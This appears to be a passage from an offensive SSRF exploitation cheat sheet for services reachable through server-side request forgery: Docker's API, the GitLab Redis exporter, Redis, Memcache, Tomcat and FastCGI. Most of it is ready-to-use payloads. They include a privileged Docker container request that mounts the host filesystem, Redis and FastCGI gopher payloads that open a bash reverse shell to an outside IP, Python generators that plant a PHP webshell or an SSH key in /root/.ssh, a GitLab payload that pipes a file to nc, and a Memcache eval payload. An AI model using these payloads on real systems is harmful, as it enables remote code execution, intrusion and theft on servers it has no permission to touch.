The advisory for this vulnerability was released here: W3 Total Cache SSRF vulnerability

This PHP code will generate a payload for your SSRF Canary host (replace url with your canary host):

<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>

Docker

Commonly bound ports: 2375, 2376 (SSL)

If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker’s API:

/containers/json
/secrets
/services

RCE via running an arbitrary docker image

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Replace alpine with an arbitrary image you would like the docker container to run.

Gitlab Prometheus Redis Exporter

Commonly bound ports: 9121

This vulnerability affects Gitlab instances before version 13.1.1. According to the Gitlab documentation Prometheus and its exporters are on by default, starting with GitLab 9.0.

These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.

The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Possible via Gopher

Redis

Commonly bound port: 6379

Recommended reading:

RCE via Cron - Gopher Attack Surfaces

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE via Shell Upload (PHP) - Redis Getshell Summary

#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE via authorized_keys - Redis Getshell Summary

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ [email protected]\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE on GitLab via Git protocol

Great writeup from Liveoverflow here.

While this required authenticated access to GitLab to exploit, I am including the payload here as the git protocol may work on the target you are hacking. This payload is for reference.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Commonly bound port: 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Effective against Tomcat 6 only:

gopher-tomcat-deployer

CTF writeup using this technique:

From XXE to RCE: Pwn2Win CTF 2018 Writeup

FastCGI

Commonly bound ports: 80,443 (SSL)

This was taken from here.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Tools

Gopherus

This tool generates Gopher payloads for:

  • MySQL

  • PostgreSQL

  • FastCGI

  • Redis

  • Zabbix

  • Memcache

SSRF Proxy

SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).

References